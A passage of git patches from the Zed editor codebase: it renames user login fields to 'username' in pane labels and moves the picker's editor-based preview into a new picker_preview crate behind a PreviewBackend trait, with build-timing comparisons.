index 34304c46ab2ed0..6b5a3cafabacae 100644
--- a/crates/workspace/src/pane_group.rs
+++ b/crates/workspace/src/pane_group.rs
@@ -404,24 +404,24 @@ impl PaneLeaderDecorator for PaneRenderContext<'_> {
                             is_in_unshared_view.then(|| {
                                 Label::new(format!(
                                     "{} is in an unshared pane",
-                                    leader.user.github_login
+                                    leader.user.username
                                 ))
                             })
                         } else {
                             leader_join_data = Some((leader_project_id, leader.user.legacy_id));
                             Some(Label::new(format!(
                                 "Follow {} to their active project",
-                                leader.user.github_login,
+                                leader.user.username,
                             )))
                         }
                     }
                     ParticipantLocation::UnsharedProject => Some(Label::new(format!(
                         "{} is viewing an unshared Zed project",
-                        leader.user.github_login
+                        leader.user.username
                     ))),
                     ParticipantLocation::External => Some(Label::new(format!(
                         "{} is viewing a window outside of Zed",
-                        leader.user.github_login
+                        leader.user.username
                     ))),
                 };
                 status_box = leader_status_box.map(|status| {
diff --git a/crates/workspace/src/shared_screen.rs b/crates/workspace/src/shared_screen.rs
index 41e8f41f2ad4e1..bd7e3b40da1a03 100644
--- a/crates/workspace/src/shared_screen.rs
+++ b/crates/workspace/src/shared_screen.rs
@@ -64,7 +64,7 @@ impl Item for SharedScreen {
     type Event = Event;
 
     fn tab_tooltip_text(&self, _: &App) -> Option<SharedString> {
-        Some(format!("{}'s screen", self.user.github_login).into())
+        Some(format!("{}'s screen", self.user.username).into())
     }
 
     fn deactivated(&mut self, _window: &mut Window, cx: &mut Context<Self>) {
@@ -78,7 +78,7 @@ impl Item for SharedScreen {
     }
 
     fn tab_content_text(&self, _detail: usize, _cx: &App) -> SharedString {
-        format!("{}'s screen", self.user.github_login).into()
+        format!("{}'s screen", self.user.username).into()
     }
 
     fn telemetry_event_text(&self) -> Option<&'static str> {

From 04efe79649b4bc0f47431455e9200c1c0c6349bc Mon Sep 17 00:00:00 2001
From: Kirill Bulatov <kirill@zed.dev>
Date: Tue, 30 Jun 2026 12:26:20 +0300
Subject: [PATCH 170/772] Improve overall compilation stats after the telescope
 picker feature (#60114)

Follow-up to https://github.com/zed-industries/zed/pull/59604

Build stats changes for `cargo clean && RUSTC_WRAPPER=
CARGO_BUILD_RUSTC_WRAPPER= cargo build --timings -p zed`:
```
===== BASE (441de84) =====
total schedule end: 161.5s   units compiled: 1671
crate                          start     dur     end
editor                         121.3    19.6   140.9
picker                         131.6     2.3   133.9
picker_preview              (absent)
command_palette                133.8     2.2   136.0
dev_container                  133.8     5.4   139.2
onboarding                     137.4     2.5   139.8
settings_profile_selector      136.1     1.8   137.8
theme_selector                 134.0     2.3   136.3

===== HEAD (PR) =====
total schedule end: 158.5s   units compiled: 1672
crate                          start     dur     end
editor                         120.5    18.4   138.8
picker                         119.5     1.7   121.2
picker_preview                 131.2     1.7   132.9
command_palette                121.1     1.9   122.9
dev_container                  121.0     3.3   124.3
onboarding                     121.1     2.2   123.3
settings_profile_selector      121.2     1.7   122.9
theme_selector                 121.2     2.0   123.2
```

Release Notes:

- N/A
---
 Cargo.lock                                  |  21 +-
 Cargo.toml                                  |   2 +
 crates/file_finder/Cargo.toml               |   1 +
 crates/file_finder/src/file_finder.rs       |   3 +-
 crates/picker/Cargo.toml                    |   3 -
 crates/picker/src/picker.rs                 |  13 +-
 crates/picker/src/preview.rs                | 280 ++--------------
 crates/picker/src/preview/render.rs         |  81 -----
 crates/picker/src/preview/state.rs          |   0
 crates/picker_preview/Cargo.toml            |  26 ++
 crates/picker_preview/LICENSE-GPL           |   1 +
 crates/picker_preview/src/picker_preview.rs | 343 ++++++++++++++++++++
 crates/search/Cargo.toml                    |   1 +
 crates/search/src/text_finder.rs            |   3 +-
 14 files changed, 427 insertions(+), 351 deletions(-)
 delete mode 100644 crates/picker/src/preview/render.rs
 delete mode 100644 crates/picker/src/preview/state.rs
 create mode 100644 crates/picker_preview/Cargo.toml
 create mode 120000 crates/picker_preview/LICENSE-GPL
 create mode 100644 crates/picker_preview/src/picker_preview.rs

diff --git a/Cargo.lock b/Cargo.lock
index caa07b2675796b..ab1ad792fb7fa7 100644
--- a/Cargo.lock
+++ b/Cargo.lock
@@ -6597,6 +6597,7 @@ dependencies = [
  "menu",
  "open_path_prompt",
  "picker",
+ "picker_preview",
  "pretty_assertions",
  "project",
  "project_panel",
@@ -13455,9 +13456,7 @@ dependencies = [
  "gpui",
  "language",
  "menu",
- "multi_buffer",
  "project",
- "rope",
  "schemars 1.0.4",
  "serde",
  "serde_json",
@@ -13471,6 +13470,23 @@ dependencies = [
  "zed_actions",
 ]
 
+[[package]]
+name = "picker_preview"
+version = "0.1.0"
+dependencies = [
+ "anyhow",
+ "editor",
+ "gpui",
+ "language",
+ "multi_buffer",
+ "picker",
+ "project",
+ "rope",
+ "settings",
+ "ui",
+ "util",
+]
+
 [[package]]
 name = "pico-args"
 version = "0.5.0"
@@ -16238,6 +16254,7 @@ dependencies = [
  "menu",
  "multi_buffer",
  "picker",
+ "picker_preview",
  "pretty_assertions",
  "project",
  "serde",
diff --git a/Cargo.toml b/Cargo.toml
index 5fc6367814285d..80cc6501001485 100644
--- a/Cargo.toml
+++ b/Cargo.toml
@@ -153,6 +153,7 @@ members = [
     "crates/panel",
     "crates/paths",
     "crates/picker",
+    "crates/picker_preview",
     "crates/platform_title_bar",
     "crates/prettier",
     "crates/project",
@@ -415,6 +416,7 @@ panel = { path = "crates/panel" }
 paths = { path = "crates/paths" }
 perf = { path = "tooling/perf" }
 picker = { path = "crates/picker" }
+picker_preview = { path = "crates/picker_preview" }
 prettier = { path = "crates/prettier" }
 settings_profile_selector = { path = "crates/settings_profile_selector" }
 project = { path = "crates/project" }
diff --git a/crates/file_finder/Cargo.toml b/crates/file_finder/Cargo.toml
index 569011828105ad..7890bd3a87f99d 100644
--- a/crates/file_finder/Cargo.toml
+++ b/crates/file_finder/Cargo.toml
@@ -27,6 +27,7 @@ language.workspace = true
 menu.workspace = true
 open_path_prompt.workspace = true
 picker.workspace = true
+picker_preview.workspace = true
 project.workspace = true
 settings.workspace = true
 serde.workspace = true
diff --git a/crates/file_finder/src/file_finder.rs b/crates/file_finder/src/file_finder.rs
index 25a2e5ab0e18bc..f3711361d13430 100644
--- a/crates/file_finder/src/file_finder.rs
+++ b/crates/file_finder/src/file_finder.rs
@@ -170,8 +170,9 @@ impl FileFinder {
 
         let project = delegate.project.clone();
         let modal_max_width = Self::modal_max_width(modal_max_width_setting, window);
+        let preview = picker_preview::editor_preview(project, window, cx);
         let picker = cx.new(|cx| {
-            Picker::uniform_list_with_preview(delegate, project, window, cx)
+            Picker::uniform_list_with_preview(delegate, preview, window, cx)
                 .initial_width(Rems::from_pixels(modal_max_width, window))
         });
         let picker_focus_handle = picker.focus_handle(cx);
diff --git a/crates/picker/Cargo.toml b/crates/picker/Cargo.toml
index 0bd29b0a2b93a9..6dbec3175f0d83 100644
--- a/crates/picker/Cargo.toml
+++ b/crates/picker/Cargo.toml
@@ -18,9 +18,7 @@ test-support = []
 [dependencies]
 anyhow.workspace = true
 db.workspace = true
-editor.workspace = true
 language.workspace = true
-rope.workspace = true
 gpui.workspace = true
 menu.workspace = true
 project.workspace = true
@@ -34,7 +32,6 @@ ui.workspace = true
 ui_input.workspace = true
 workspace.workspace = true
 zed_actions.workspace = true
-multi_buffer.workspace = true
 util.workspace = true
 
 [dev-dependencies]
diff --git a/crates/picker/src/picker.rs b/crates/picker/src/picker.rs
index ef58058e5c770b..dd0af8ef04871f 100644
--- a/crates/picker/src/picker.rs
+++ b/crates/picker/src/picker.rs
@@ -1,12 +1,11 @@
 use anyhow::Result;
 use gpui::Action;
 use gpui::{
-    AnyElement, App, Bounds, ClickEvent, Context, DismissEvent, Entity, EventEmitter, FocusHandle,
+    AnyElement, App, Bounds, ClickEvent, Context, DismissEvent, EventEmitter, FocusHandle,
     Focusable, ListSizingBehavior, ListState, MouseButton, MouseUpEvent, Pixels, ScrollStrategy,
     Task, UniformListScrollHandle, Window, actions, canvas, div, list, prelude::*, uniform_list,
 };
 use head::Head;
-use project::Project;
 use schemars::JsonSchema;
 use serde::Deserialize;
 use std::{
@@ -32,8 +31,10 @@ use crate::shape::RelativeHeight;
 use crate::shape::RelativeWidth;
 pub use footer::PickerAction;
 pub use language::{HighlightedText, HighlightedTextBuilder};
+pub use preview::Layout as PreviewLayout;
 pub use preview::MatchLocation;
 pub use preview::Preview;
+pub use preview::PreviewBackend;
 pub use preview::PreviewSource;
 pub use preview::Update as PreviewUpdate;
 pub use ui_input::ErasedEditor;
@@ -399,7 +400,7 @@ impl<D: PickerDelegate> Picker<D> {
     /// preview window where it shows extra information.
     pub fn uniform_list_with_preview(
         delegate: D,
-        project: Entity<Project>,
+        preview: Arc<dyn PreviewBackend>,
         window: &mut Window,
         cx: &mut Context<Self>,
     ) -> Self {
@@ -410,7 +411,7 @@ impl<D: PickerDelegate> Picker<D> {
             cx,
         );
 
-        let preview = Preview::new_editor(project, window, cx);
+        let preview = Preview::new(preview);
         Self::new(
             delegate,
             ContainerKind::UniformList,
@@ -427,7 +428,7 @@ impl<D: PickerDelegate> Picker<D> {
     /// (e.g. section headers and separators interleaved with matches).
     pub fn list_with_preview(
         delegate: D,
-        project: Entity<Project>,
+        preview: Arc<dyn PreviewBackend>,
         window: &mut Window,
         cx: &mut Context<Self>,
     ) -> Self {
@@ -438,7 +439,7 @@ impl<D: PickerDelegate> Picker<D> {
             cx,
         );
 
-        let preview = Preview::new_editor(project, window, cx);
+        let preview = Preview::new(preview);
         Self::new(
             delegate,
             ContainerKind::List,
diff --git a/crates/picker/src/preview.rs b/crates/picker/src/preview.rs
index e529a17d738781..88a9b6219db1b7 100644
--- a/crates/picker/src/preview.rs
+++ b/crates/picker/src/preview.rs
@@ -2,31 +2,28 @@ use std::ops::Range;
 use std::path::PathBuf;
 use std::sync::Arc;
 
-use editor::{Editor, EditorSettings, HighlightKey, MultiBuffer, RowHighlightOptions};
-use gpui::{App, Task};
-use gpui::{AppContext, Context, Entity, TaskExt, Window};
-use language::{Buffer, HighlightedText, HighlightedTextBuilder, ToPoint};
-use project::Project;
-use rope::Point;
-use settings::Settings;
-use ui::{ActiveTheme, IntoElement, Pixels, px};
-use util::rel_path::RelPath;
-
-pub mod render;
+use gpui::{AnyElement, App, Entity, IntoElement, Window};
+use language::{Anchor, Buffer, HighlightedText};
+
+/// The editor-agnostic interface a [`Picker`](crate::Picker) uses to drive its
+/// preview.
+pub trait PreviewBackend: 'static {
+    fn update(&self, update: Update, window: &mut Window, cx: &mut App);
+    fn render(&self, layout: Layout, cx: &mut App) -> AnyElement;
+    /// Called after a resize to let the preview do resizing logic like scrolling.
+    fn adjust_to_new_size(&self, window: &mut Window, cx: &mut App);
+    /// Empty the preview and show a placeholder message.
+    fn clear(&self, cx: &mut App);
+}
 
 /// The preview window of a [`Picker`](crate::Picker).
-///
-/// Why an enum? While most pickers will want to show just the buffer
-/// there will be some: like bookmarks with description that want to display
-/// other metadata too. A preview for breakpoints could be part editor part
-/// showing any condition (if any) and how many times the breakpoint got hit.
 pub struct Preview {
-    content: Entity<EditorPreview>,
+    content: Arc<dyn PreviewBackend>,
     pub(crate) layout: Layout,
 }
 
 #[derive(Debug, Clone, Copy, PartialEq, Eq, Default)]
-pub(crate) enum Layout {
+pub enum Layout {
     #[default]
     Hidden,
     Below,
@@ -34,38 +31,27 @@ pub(crate) enum Layout {
 }
 
 impl Preview {
-    pub fn new_editor(project: Entity<Project>, window: &mut Window, cx: &mut App) -> Self {
+    pub fn new(content: Arc<dyn PreviewBackend>) -> Self {
         Preview {
-            content: cx.new(|cx| EditorPreview::new(project, window, cx)),
+            content,
             layout: Layout::default(),
         }
     }
 
-    pub fn update(&mut self, update: Update, window: &mut Window, cx: &mut impl AppContext) {
-        // self.content since this will become a match to support non editor or composite previews
-        self.content.update(cx, |content, cx| {
-            content.update(update, window, cx);
-        });
+    pub fn update(&mut self, update: Update, window: &mut Window, cx: &mut App) {
+        self.content.update(update, window, cx);
     }
 
     pub fn render(&self, cx: &mut App) -> impl IntoElement {
-        let layout = self.layout;
-        self.content.update(cx, |content, cx| {
-            content.render(layout, cx).into_any_element()
-        })
+        self.content.render(self.layout, cx)
     }
 
-    /// Called after a resize to let the preview do resizing logic
-    /// like scrolling
     pub fn adjust_to_new_size(&self, window: &mut Window, cx: &mut App) {
-        self.content.update(cx, |content, cx| {
-            content.scroll_to_focus_match(window, cx);
-        })
+        self.content.adjust_to_new_size(window, cx);
     }
 
-    /// Empty the preview and show a placeholder message
     pub(crate) fn clear(&self, cx: &mut App) {
-        self.content.update(cx, |content, _| content.clear())
+        self.content.clear(cx);
     }
 }
 
@@ -91,7 +77,7 @@ pub enum PreviewSource {
 
 pub struct MatchLocation {
     /// The location of the match (for highlighting)
-    pub anchor_range: Range<language::Anchor>,
+    pub anchor_range: Range<Anchor>,
     /// The location of the match as an offset (for scrolling)
     pub range: Range<usize>,
 }
@@ -132,223 +118,3 @@ impl Update {
         }
     }
 }
-
-struct SearchMatchLineHighlight;
-
-pub struct EditorPreview {
-    project: Entity<Project>,
-    current_path: Option<Arc<RelPath>>,
-    /// When set show a text message instead of a preview
-    message: Option<HighlightedText>,
-    preview_editor: Entity<Editor>,
-}
-
-impl EditorPreview {
-    fn new(project: Entity<Project>, window: &mut Window, cx: &mut Context<Self>) -> Self {
-        let preview_editor = cx.new(|cx: &mut Context<Editor>| {
-            let capability = language::Capability::ReadWrite; // Later narrowed per buffer
-            let multi_buffer = cx.new(|_| MultiBuffer::without_headers(capability));
-            let mut editor = Editor::for_multibuffer(multi_buffer, None, window, cx);
-            let editor_settings = EditorSettings::get_global(cx).clone();
-
-            // We want editing to happen in the multibuffer not in the modal. The editor acts
-            // as one big <send to multibuffer> button.
-            editor.set_read_only(true);
-            editor.set_input_enabled(false);
-            editor.scroll_manager.set_forbid_vertical_scroll(true);
-            editor.disable_scrollbars_and_minimap(window, cx);
-            editor.disable_inline_diagnostics();
-            editor.disable_diagnostics(cx);
-            editor.disable_expand_excerpt_buttons(cx);
-            editor.disable_mouse_wheel_zoom();
-            editor.set_show_gutter(editor_settings.gutter.line_numbers, cx); // needed for line numbers
-            editor.set_show_line_numbers(editor_settings.gutter.line_numbers, cx);
-            editor.set_show_breakpoints(false, cx);
-            editor.set_show_bookmarks(false, cx);
-            editor.set_show_code_actions(false, cx);
-            editor.set_show_runnables(false, cx);
-            editor.set_show_git_diff_gutter(false, cx);
-            editor.set_show_wrap_guides(false, cx);
-            editor.set_show_indent_guides(false, cx);
-            editor.set_show_cursor_when_unfocused(true, cx);
-            editor.set_soft_wrap_mode(language::language_settings::SoftWrap::None, cx);
-            editor
-        });
-
-        let mut this = Self {
-            project,
-            preview_editor,
-            current_path: None,
-            message: None,
-        };
-        this.clear(); // picker starts with no results.
-        this
-    }
-
-    fn clear(&mut self) {
-        let mut message = HighlightedTextBuilder::default();
-        message.push_plain("No results to preview");
-        self.message = Some(message.build());
-    }
-
-    fn update(&mut self, update: Update, window: &mut Window, cx: &mut Context<Self>) {
-        let Update {
-            source,
-            match_location: highlight,
-        } = update;
-
-        match source {
-            PreviewSource::Path(abs_path) => {
-                self.update_from_path(abs_path, highlight, window, cx);
-            }
-            PreviewSource::Buffer(buffer) => {
-                self.update_from_buffer(buffer, highlight, window, cx);
-                cx.notify();
-            }
-            PreviewSource::Message(message) => {
-                self.message = Some(message);
-                cx.notify();
-            }
-        }
-    }
-
-    fn update_from_path(
-        &mut self,
-        abs_path: PathBuf,
-        highlight: Option<MatchLocation>,
-        window: &mut Window,
-        cx: &mut Context<Self>,
-    ) {
-        let open_task = self.project.update(cx, |project, cx| {
-            match project.project_path_for_absolute_path(&abs_path, cx) {
-                Some(project_path) => {
-                    if let Some(buffer) = project.get_open_buffer(&project_path, cx) {
-                        Task::ready(Ok(buffer))
-                    } else {
-                        project.open_buffer(project_path, cx)
-                    }
-                }
-                None => project.open_local_buffer(&abs_path, cx),
-            }
-        });
-
-        cx.spawn_in(window, async move |this, cx| {
-            let buffer = open_task.await?;
-            this.update_in(cx, |this, window, cx| {
-                this.update_from_buffer(buffer, highlight, window, cx);
-                cx.notify();
-            })?;
-            anyhow::Ok(())
-        })
-        .detach_and_log_err(cx);
-    }
-
-    fn update_from_buffer(
-        &mut self,
-        buffer: Entity<Buffer>,
-        highlight: Option<MatchLocation>,
-        window: &mut Window,
-        cx: &mut Context<Self>,
-    ) {
-        self.message = None; // show the preview editor
-        self.current_path = buffer.read(cx).file().map(|file| file.path().clone());
-
-        const MIN_LINE_HEIGHT_PX: Pixels = px(6.0);
-        const MARGIN: u32 = 2; // scrolling can offset things;
-        let max_visible_rows =
-            (window.viewport_size().height / MIN_LINE_HEIGHT_PX).ceil() as u32 + MARGIN;
-
-        self.preview_editor.update(cx, |editor, cx| {
-            let focus_row = highlight
-                .as_ref()
-                .map(|hl| {
-                    hl.anchor_range
-                        .start
-                        .to_point(&buffer.read(cx).text_snapshot())
-                        .row
-                })
-                .unwrap_or_default();
-
-            let multi_buffer = editor.buffer().clone();
-            multi_buffer.update(cx, |multi_buffer, cx| {
-                multi_buffer.clear(cx);
-                multi_buffer.set_excerpts_for_buffer(
-                    buffer,
-                    [Point::new(focus_row, 0)..Point::new(focus_row, 0)],
-                    max_visible_rows,
-                    cx,
-                );
-            });
-
-            editor.clear_row_highlights::<SearchMatchLineHighlight>();
-            editor.clear_background_highlights(HighlightKey::PickerPreview, cx);
-
-            let Some(highlight) = highlight else {
-                return;
-            };
-
-            let mb = multi_buffer.read(cx).snapshot(cx);
-            let Some(range) = mb
-                .anchor_in_excerpt(highlight.anchor_range.start)
-                .zip(mb.anchor_in_excerpt(highlight.anchor_range.end))
-                .map(|(start, end)| start..end)
-            else {
-                return;
-            };
-
-            editor.highlight_rows::<SearchMatchLineHighlight>(
-                range.clone(),
-                |cx| cx.theme().colors().editor_active_line_background,
-                RowHighlightOptions::default(),
-                cx,
-            );
-
-            editor.highlight_background(
-                HighlightKey::PickerPreview,
-                &[range],
-                |_, theme| theme.colors().search_match_background,
-                cx,
-            );
-        });
-        self.scroll_to_focus_match(window, cx);
-    }
-
-    /// Keep the scroll as far left as possible while showing the match.
-    /// Vertically center the match as much as possible
-    fn scroll_to_focus_match(&mut self, window: &mut Window, cx: &mut Context<Self>) {
-        self.preview_editor.update(cx, |editor, cx| {
-            let display_snapshot = editor.display_snapshot(cx);
-            let buffer_snapshot = display_snapshot.buffer_snapshot();
-            let search_range = buffer_snapshot.anchor_before(multi_buffer::MultiBufferOffset(0))
-                ..buffer_snapshot.anchor_after(buffer_snapshot.len());
-
-            // There is at most one highlighted match in the preview, so take the
-            // first background highlight range as the match to focus.
-            let Some((range, _)) = editor
-                .background_highlights_in_range(search_range, &display_snapshot, cx.theme())
-                .into_iter()
-                .next()
-            else {
-                return;
-            };
-
-            let target_row = range.start.row().0 as f64;
-            let centered_y = editor
-                .visible_line_count()
-                .map_or(target_row, |visible_lines| {
-                    (target_row - (visible_lines - 1.) / 2.).max(0.)
-                });
-
-            let start_column = range.start.column() as f64;
-            let end_column = range.end.column() as f64;
-            let centered_x = editor.visible_column_count().map_or(0., |visible_columns| {
-                let min_x_for_end = (end_column - visible_columns + 1.).max(0.);
-                min_x_for_end.min(start_column)
-            });
-
-            editor.scroll_manager.set_forbid_vertical_scroll(false);
-            editor.set_scroll_position(gpui::Point::new(centered_x, centered_y), window, cx);
-            editor.scroll_manager.set_forbid_vertical_scroll(true);
-        })
-    }
-}
diff --git a/crates/picker/src/preview/render.rs b/crates/picker/src/preview/render.rs
deleted file mode 100644
index aac1d0b96bb521..00000000000000
--- a/crates/picker/src/preview/render.rs
+++ /dev/null
@@ -1,81 +0,0 @@
-use gpui::{Action, StyledText};
-use language::HighlightedText;
-use ui::prelude::*;
-
-use crate::ToMultiBuffer;
-
-use crate::preview;
-use crate::preview::EditorPreview;
-
-impl EditorPreview {
-    pub(crate) fn render(&self, layout: preview::Layout, cx: &App) -> impl IntoElement {
-        match layout {
-            preview::Layout::Below => self.render_preview_below(cx).into_any_element(),
-            preview::Layout::Right => self.render_preview_right(cx).into_any_element(),
-            preview::Layout::Hidden => gpui::Empty.into_any_element(),
-        }
-    }
-}
-
-impl EditorPreview {
-    pub(crate) fn render_preview_right(&self, cx: &App) -> impl IntoElement {
-        v_flex()
-            .size_full()
-            .rounded_t_md()
-            .rounded_b_md()
-            .child(self.render_message_or_editor(cx))
-    }
-
-    fn render_preview_below(&self, cx: &App) -> impl IntoElement {
-        v_flex()
-            .size_full()
-            .rounded_b_md()
-            .child(self.render_message_or_editor(cx))
-    }
-
-    fn render_message_or_editor(&self, cx: &App) -> impl IntoElement {
-        if let Some(message) = &self.message {
-            self.render_message(message, cx).into_any_element()
-        } else {
-            div()
-                .flex_1()
-                .overflow_hidden()
-                .child(self.editor_as_giant_button())
-                .into_any_element()
-        }
-    }
-
-    fn render_message(&self, message: &HighlightedText, cx: &App) -> impl IntoElement {
-        // `with_highlights` inherits the container's text style (set below),
-        // while keeping the message's own highlights (e.g. the file path in
-        // the file finder's "Create new file" entry).
-        let content = StyledText::new(message.text.clone())
-            .with_highlights(message.highlights.iter().cloned())
-            .into_any_element();
-        v_flex()
-            .size_full()
-            .items_center()
-            .justify_center()
-            .font_ui(cx)
-            .text_ui(cx)
-            .text_color(Color::Muted.color(cx))
-            .child(content)
-    }
-
-    fn editor_as_giant_button(&self) -> impl IntoElement {
-        div()
-            .relative()
-            .size_full()
-            .child(self.preview_editor.clone())
-            .child(
-                div()
-                    .id("picker-preview-editor")
-                    .absolute()
-                    .inset_0()
-                    .occlude()
-                    .on_click(|_, window, cx| {
-                        window.dispatch_action(ToMultiBuffer.boxed_clone(), cx);
-                    }),
-            )
-    }
-}
diff --git a/crates/picker/src/preview/state.rs b/crates/picker/src/preview/state.rs
deleted file mode 100644
index e69de29bb2d1d6..00000000000000
diff --git a/crates/picker_preview/Cargo.toml b/crates/picker_preview/Cargo.toml
new file mode 100644
index 00000000000000..49417be543557f
--- /dev/null
+++ b/crates/picker_preview/Cargo.toml
@@ -0,0 +1,26 @@
+[package]
+name = "picker_preview"
+version = "0.1.0"
+edition.workspace = true
+publish.workspace = true
+license = "GPL-3.0-or-later"
+
+[lints]
+workspace = true
+
+[lib]
+path = "src/picker_preview.rs"
+doctest = false
+
+[dependencies]
+anyhow.workspace = true
+editor.workspace = true
+gpui.workspace = true
+language.workspace = true
+multi_buffer.workspace = true
+picker.workspace = true
+project.workspace = true
+rope.workspace = true
+settings.workspace = true
+ui.workspace = true
+util.workspace = true
diff --git a/crates/picker_preview/LICENSE-GPL b/crates/picker_preview/LICENSE-GPL
new file mode 120000
index 00000000000000..89e542f750cd38
--- /dev/null
+++ b/crates/picker_preview/LICENSE-GPL
@@ -0,0 +1 @@
+../../LICENSE-GPL
\ No newline at end of file
diff --git a/crates/picker_preview/src/picker_preview.rs b/crates/picker_preview/src/picker_preview.rs
new file mode 100644
index 00000000000000..50aff9d3ce764e
--- /dev/null
+++ b/crates/picker_preview/src/picker_preview.rs
@@ -0,0 +1,343 @@
+//! The editor-backed implementation of [`picker::PreviewBackend`].
+
+use std::sync::Arc;
+
+use gpui::{
+    Action, AnyElement, App, AppContext as _, Context, Entity, IntoElement, Pixels, StyledText,
+    Task, TaskExt as _, Window, px,
+};
+use language::{Buffer, HighlightedText, HighlightedTextBuilder, ToPoint};
+use picker::{
+    MatchLocation, PreviewBackend, PreviewLayout, PreviewSource, PreviewUpdate, ToMultiBuffer,
+};
+use project::Project;
+use rope::Point;
+use settings::Settings;
+use ui::{ActiveTheme, Color, div, prelude::*, v_flex};
+use util::rel_path::RelPath;
+
+use editor::{Editor, EditorSettings, RowHighlightOptions, display_map::HighlightKey};
+use multi_buffer::{MultiBuffer, MultiBufferOffset};
+
+pub fn editor_preview(
+    project: Entity<Project>,
+    window: &mut Window,
+    cx: &mut App,
+) -> Arc<dyn PreviewBackend> {
+    Arc::new(EditorPreviewHandle(
+        cx.new(|cx| EditorPreview::new(project, window, cx)),
+    ))
+}
+
+struct EditorPreviewHandle(Entity<EditorPreview>);
+
+impl PreviewBackend for EditorPreviewHandle {
+    fn update(&self, update: PreviewUpdate, window: &mut Window, cx: &mut App) {
+        self.0
+            .update(cx, |content, cx| content.update(update, window, cx));
+    }
+
+    fn render(&self, layout: PreviewLayout, cx: &mut App) -> AnyElement {
+        self.0.update(cx, |content, cx| {
+            content.render(layout, cx).into_any_element()
+        })
+    }
+
+    fn adjust_to_new_size(&self, window: &mut Window, cx: &mut App) {
+        self.0
+            .update(cx, |content, cx| content.scroll_to_focus_match(window, cx));
+    }
+
+    fn clear(&self, cx: &mut App) {
+        self.0.update(cx, |content, _| content.clear());
+    }
+}
+
+struct SearchMatchLineHighlight;
+
+struct EditorPreview {
+    project: Entity<Project>,
+    current_path: Option<Arc<RelPath>>,
+    /// When set show a text message instead of a preview
+    message: Option<HighlightedText>,
+    preview_editor: Entity<Editor>,
+}
+
+impl EditorPreview {
+    fn new(project: Entity<Project>, window: &mut Window, cx: &mut Context<Self>) -> Self {
+        let preview_editor = cx.new(|cx: &mut Context<Editor>| {
+            let capability = language::Capability::ReadWrite; // Later narrowed per buffer
+            let multi_buffer = cx.new(|_| MultiBuffer::without_headers(capability));
+            let mut editor = Editor::for_multibuffer(multi_buffer, None, window, cx);
+            let editor_settings = EditorSettings::get_global(cx).clone();
+
+            // We want editing to happen in the multibuffer not in the modal. The editor acts
+            // as one big <send to multibuffer> button.
+            editor.set_read_only(true);
+            editor.set_input_enabled(false);
+            editor.scroll_manager.set_forbid_vertical_scroll(true);
+            editor.disable_scrollbars_and_minimap(window, cx);
+            editor.disable_inline_diagnostics();
+            editor.disable_diagnostics(cx);
+            editor.disable_expand_excerpt_buttons(cx);
+            editor.disable_mouse_wheel_zoom();
+            editor.set_show_gutter(editor_settings.gutter.line_numbers, cx); // needed for line numbers
+            editor.set_show_line_numbers(editor_settings.gutter.line_numbers, cx);
+            editor.set_show_breakpoints(false, cx);
+            editor.set_show_bookmarks(false, cx);
+            editor.set_show_code_actions(false, cx);
+            editor.set_show_runnables(false, cx);
+            editor.set_show_git_diff_gutter(false, cx);
+            editor.set_show_wrap_guides(false, cx);
+            editor.set_show_indent_guides(false, cx);
+            editor.set_show_cursor_when_unfocused(true, cx);
+            editor.set_soft_wrap_mode(language::language_settings::SoftWrap::None, cx);
+            editor
+        });
+
+        let mut this = Self {
+            project,
+            preview_editor,
+            current_path: None,
+            message: None,
+        };
+        this.clear(); // picker starts with no results.
+        this
+    }
+
+    fn clear(&mut self) {
+        let mut message = HighlightedTextBuilder::default();
+        message.push_plain("No results to preview");
+        self.message = Some(message.build());
+    }
+
+    fn update(&mut self, update: PreviewUpdate, window: &mut Window, cx: &mut Context<Self>) {
+        let PreviewUpdate {
+            source,
+            match_location: highlight,
+        } = update;
+
+        match source {
+            PreviewSource::Path(abs_path) => {
+                self.update_from_path(abs_path, highlight, window, cx);
+            }
+            PreviewSource::Buffer(buffer) => {
+                self.update_from_buffer(buffer, highlight, window, cx);
+                cx.notify();
+            }
+            PreviewSource::Message(message) => {
+                self.message = Some(message);
+                cx.notify();
+            }
+        }
+    }
+
+    fn update_from_path(
+        &mut self,
+        abs_path: std::path::PathBuf,
+        highlight: Option<MatchLocation>,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) {
+        let open_task = self.project.update(cx, |project, cx| {
+            match project.project_path_for_absolute_path(&abs_path, cx) {
+                Some(project_path) => {
+                    if let Some(buffer) = project.get_open_buffer(&project_path, cx) {
+                        Task::ready(Ok(buffer))
+                    } else {
+                        project.open_buffer(project_path, cx)
+                    }
+                }
+                None => project.open_local_buffer(&abs_path, cx),
+            }
+        });
+
+        cx.spawn_in(window, async move |this, cx| {
+            let buffer = open_task.await?;
+            this.update_in(cx, |this, window, cx| {
+                this.update_from_buffer(buffer, highlight, window, cx);
+                cx.notify();
+            })?;
+            anyhow::Ok(())
+        })
+        .detach_and_log_err(cx);
+    }
+
+    fn update_from_buffer(
+        &mut self,
+        buffer: Entity<Buffer>,
+        highlight: Option<MatchLocation>,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) {
+        self.message = None; // show the preview editor
+        self.current_path = buffer.read(cx).file().map(|file| file.path().clone());
+
+        const MIN_LINE_HEIGHT_PX: Pixels = px(6.0);
+        const MARGIN: u32 = 2; // scrolling can offset things;
+        let max_visible_rows =
+            (window.viewport_size().height / MIN_LINE_HEIGHT_PX).ceil() as u32 + MARGIN;
+
+        self.preview_editor.update(cx, |editor, cx| {
+            let focus_row = highlight
+                .as_ref()
+                .map(|hl| {
+                    hl.anchor_range
+                        .start
+                        .to_point(&buffer.read(cx).text_snapshot())
+                        .row
+                })
+                .unwrap_or_default();
+
+            let multi_buffer = editor.buffer().clone();
+            multi_buffer.update(cx, |multi_buffer, cx| {
+                multi_buffer.clear(cx);
+                multi_buffer.set_excerpts_for_buffer(
+                    buffer,
+                    [Point::new(focus_row, 0)..Point::new(focus_row, 0)],
+                    max_visible_rows,
+                    cx,
+                );
+            });
+
+            editor.clear_row_highlights::<SearchMatchLineHighlight>();
+            editor.clear_background_highlights(HighlightKey::PickerPreview, cx);
+
+            let Some(highlight) = highlight else {
+                return;
+            };
+
+            let mb = multi_buffer.read(cx).snapshot(cx);
+            let Some(range) = mb
+                .anchor_in_excerpt(highlight.anchor_range.start)
+                .zip(mb.anchor_in_excerpt(highlight.anchor_range.end))
+                .map(|(start, end)| start..end)
+            else {
+                return;
+            };
+
+            editor.highlight_rows::<SearchMatchLineHighlight>(
+                range.clone(),
+                |cx| cx.theme().colors().editor_active_line_background,
+                RowHighlightOptions::default(),
+                cx,
+            );
+
+            editor.highlight_background(
